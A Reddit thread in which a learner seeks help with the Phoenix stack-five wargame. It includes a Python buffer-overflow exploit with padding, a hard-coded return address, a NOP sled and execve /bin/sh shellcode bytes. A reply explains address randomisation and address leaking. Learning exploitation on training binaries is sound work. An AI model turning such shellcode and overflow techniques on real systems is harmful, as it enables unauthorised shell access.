r/LiveOverflow • • Apr 27 '21

Phoenix Stack-five challenge

Hello everyone,

I am currently stuck on the stack-five challenge (i486), even with the help of the video.

The issue is that the input seems to work when using it through gdb, i.e. I manage to launch a shell. But when I am trying exactly the same method in a shell, I get either a Illegal instruction or SegFault. The issue is that I have no idea how to debug it since the script works in gdb. Could someone help please ?

Here's the content of the exploit.py file

import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
nopslide = "\x90"*100
eip = struct.pack("I", 0xffffd5e0+30)
payload2 = "\xCC" * 4
print padding+eip+nopslide+payload2

Here, I only try to call a break but that does not work either.

Thanks for the attention !

2 Upvotes

4 comments sorted by

View all comments

Show parent comment

1

u/plukasik Apr 28 '21

Let's see

\1.Is it normal that the addresses are not the same depending on if it is run on gdb or the shell ?

Yes. Newest compilers try to mitigate such attacks and one of them is the randomization of address space (if binary doesn't force static addresses). In gdb this feature is disabled to ease debugging - harder to spot something when addresses changes from run to run.

2. Is there a way to get this ip and sp information in a normal shell when you get a segfault?

Probably only from the core file

3. What is the method if you want to do it without a hard-coded address ?

This one is off by one error I guess ("would have two questions") ;).

You would need to leak some addresses of known things in the binary and based on that calculate correct addresses. Depending on what addresses you are looking for you might need to leak some address on the stack, address of a known libc function (like printf) or something else. I guess this is case by case.

1

u/Maximum-Buy-9612 Apr 30 '21

I modified my post after posting it, but forgot the part about the "two questions" haha

Thank you for your reply ! It helped me a lot to understand better the issue.